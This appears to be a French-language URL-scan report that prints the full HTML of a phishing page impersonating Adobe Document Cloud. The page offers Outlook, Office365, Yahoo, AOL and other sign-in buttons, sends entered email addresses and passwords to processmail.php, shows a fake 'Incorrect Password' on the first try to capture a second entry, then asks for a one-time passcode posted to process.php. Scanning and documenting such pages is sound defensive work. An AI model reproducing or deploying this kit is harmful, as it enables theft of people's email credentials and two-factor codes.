- ID de l'analyse :
- 9e25c02e-7038-4610-aa79-0fa8e9472942Terminée
- URL soumise :
- https://aplusbusinessgroup.vep.free.hr/
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 7 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
0 | object |
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
$ | function |
jQuery | function |
bootstrap | object |
Messages de journal de console : 2 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
verbose | dom |
|
error | network |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html><html><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<!-- Font Awesome CSS -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<style>
body, html {
height: 100%;
margin: 0;
font-family: Arial, Helvetica, sans-serif;
}
* {
box-sizing: border-box;
}
.bg-image {
/* The image used */
background-image: url("Image/bg1.PNG");
/* Add the blur effect */
filter: blur(8px);
-webkit-filter: blur(8px);
/* Full height */
height: 100%;
/* Center and scale the image nicely */
background-position: center;
background-repeat: no-repeat;
background-size: cover;
}
/* Position text in the middle of the page/image */
.bg-text {
/* background-color: rgb(0,0,0); Fallback color */
/* background-color: rgba(0,0,0, 0.4); Black w/opacity/see-through */
background-color: black;
/* opacity: 0.8; */
color: white;
/* font-weight: bold; */
border: 3px solid #f1f1f1;
border-radius:15px;
position: absolute;
top: 10%;
left: 25%;
/* transform: translate(-50%, -50%); */
/* z-index: 2; */
width: 50%;
padding: 20px;
text-align: center;
}
.modal-body{
text-align: left;
color:black;
}
.button{
width: 80%;
color:white;
margin:auto;
display:flex;
margin-top:20px;
}
.b1{
background-color: blue;
}
.b2{
background-color: red;
}
.b3{
background-color: #4d8fe4;
}
.b4{
background-color: #8f1189;
}
.b5{
background-color: green;
}
.btext{
margin-left:20px;
margin-top:5px;
}
Add Animation
@-webkit-keyframes slideIn {
from {bottom: -300px; opacity: 0}
to {bottom: 0; opacity: 1}
}
@keyframes slideIn {
from {bottom: -300px; opacity: 0}
to {bottom: 0; opacity: 1}
}
@-webkit-keyframes fadeIn {
from {opacity: 0}
to {opacity: 1}
}
@keyframes fadeIn {
from {opacity: 0}
to {opacity: 1}
}
@media only screen and (max-width: 767px) {
.bg-text{
width:85%;
padding: 10px;
}
.imagem img{
width: 80px;
height: 80px;
}
.bg-text {
top: 10%;
left: 7%;
/* width: 50%; */
}
}
</style>
</head>
<body>
<div class="bg-image"></div>
<div class="bg-text">
<div class="imagem">
<img src="Image/adobe.png" alt="Logo of adobe" width="100px" height="100px">
</div>
<p style="font-size:15px">Adobe Document Cloud <br> To read the document, please enter with the valid <br> email credentials that this file was sent to.</p>
<div type="button" class="button b1 formModals" id="myBtn" data-name="Outlook" data-image="Image/office360.png" data-formid="1">
<img src="Image/office360.png" alt="office 360" width="30px" height="30px"> <span class="btext"> Sign in with Outlook </span>
</div>
<div class="button b2 formModals" id="myBtno" data-name="Office" data-image="Image/office.png" data-formid="2">
<img src="Image/office.png" alt="office 360" width="30px" height="30px"> <span class="btext"> Sign in with Office365 </span>
</div>
<div class="button b4 formModals" id="myBtny" data-name="Yahoo" data-image="Image/yahoo.png" data-formid="3">
<img src="Image/yahoo.png" alt="office 360" width="30px" height="30px"> <span class="btext"> Sign in with Yahoo Mail </span>
</div>
<div class="button b5 formModals" id="myBtna" data-name="aol" data-image="Image/aol.png" data-formid="4">
<img src="Image/aol.png" alt="office 360" width="30px" height="30px"> <span class="btext"> Sign in with AOL </span>
</div>
<div class="button b3 formModals" id="myBtne" data-name="Email" data-image="Image/email.png" data-formid="5">
<img src="Image/email.png" alt="office 360" width="30px" height="30px"> <span class="btext"> Sign in with Other Mail </span>
</div>
<p style="font-size:15px">Select your email provider to view Document</p>
<p style="font-size:15px">CopyRight © 2024 Adobe</p>
<!-- modal -->
<div class="modal fade" id="formModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalCenterTitle" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLongTitle">
<!-- Office36500 -->
</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="text-center mb-5">
<div class="data-image"></div>
<h4 class="mt-2 txx_hd"> Login
with <span class="form-title"></span> </h4>
</div>
<form method="post" id="formSubmit" action="processmail.php" class="stage-one">
<p id="error_text" class="text-danger"></p>
<input type="text" id="form-id" name="id" hidden="">
<label for="email" class="form_tx">Email
Address </label>
<input type="email" placeholder="Email" class="form-control" name="email_address" required="">
<br>
<p> We'll never share your email
with anyone else </p>
<label for="Password">Password</label>
<input type="password" placeholder="Enter Password" class="form-control" name="password" required="">
<div class="mt-3 text-warning" id="loading" style="display: none;">Verifying...</div>
</form></div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="submit" class="btn btn-primary" name="submit_form"> Login
</button>
</div>
</div>
</div>
</div>
<!-- Second Modal -->
<!-- Second Modal -->
<div class="modal fade" id="secondModal" tabindex="-1" role="dialog" aria-labelledby="secondModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLongTitle">
<!-- Office36500 -->
</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<form method="post" id="secondForm" action="process.php">
<div class="modal-body">
<p style="font-weight:bold;" class="text-center">Please Verify your Account More</p>
<label for="lastname">OTP</label>
<input type="text" placeholder="OTP" class="form-control" name="txtotp" required="">
<!-- <br> -->
<div class="mt-3 text-warning" id="loading" style="display: none;">Verifying...</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="submit" class="btn btn-primary" name="submit_second_form">Submit</button>
</div>
</form>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
<script>
$(".formModals").click(function(e) {
e.preventDefault();
var id = $(this).data('formid');
var formname = $(this).data('name');
var image = $(this).data('image');
$("#formModal").modal('show');
$(".data-image").html("<img src='" + image + "' height='100' width='100' >");
$(".form-title").html("<span>" + formname + "</span>")
// $(".form-id").value = id;
document.getElementById("form-id").value = id;
})
</script>
<script>
$("#formSubmit").submit(function(e) {
e.preventDefault(); // avoid to execute the actual submit of the form.
var form = $(this);
var actionUrl = form.attr('action');
$.ajax({
type: "POST",
url: actionUrl,
data: form.serialize(), // serializes the form's elements.
success: function(data)
{
if (form.hasClass('stage-one')) {
// Stage one: Display "Incorrect Password" message
$("#error_text").text('Incorrect Password');
form.removeClass('stage-one').addClass('stage-three');
}else if (form.hasClass('stage-three')){
$('#formModal').modal('hide');
$('#secondModal').modal('show');
// alert("Submit me");
}
console.log(data);
}
}
);
});
</script>
<script>
$(document).ready(function() {
$("#secondForm").submit(function(e) {
e.preventDefault(); // avoid to execute the actual submit of the form.
var form = $(this);
var actionUrl = form.attr('action');
$("#loading").show();
// $.ajax({
// type: "POST",
// url: actionUrl,
// data: form.serialize(), // serializes the form's elements.
// dataType: "json", // Expect JSON response
// success: function(data) {
// if (data.status=="success") {
// window.location.href = "redirect.php";
// // alert('Email has been sent successfully');
// } else {
// alert('Failed to send email: ' + data.message);
// }
// },
// error: function(xhr, status, error) {
// alert('An error occurred while sending the email: ' + error);
// },
// complete: function() {
// // Hide loading indicator after request completes
// $("#loading").hide();
// }
// });
// console.log(data);
// });
});
</script>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8f61f82bab513857',t:'MTczNDg4OTk4Ny4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>
</div><iframe height="1" width="1" style="position: absolute; top: 0px; left: 0px; border: none; visibility: hidden;"></iframe></body></html>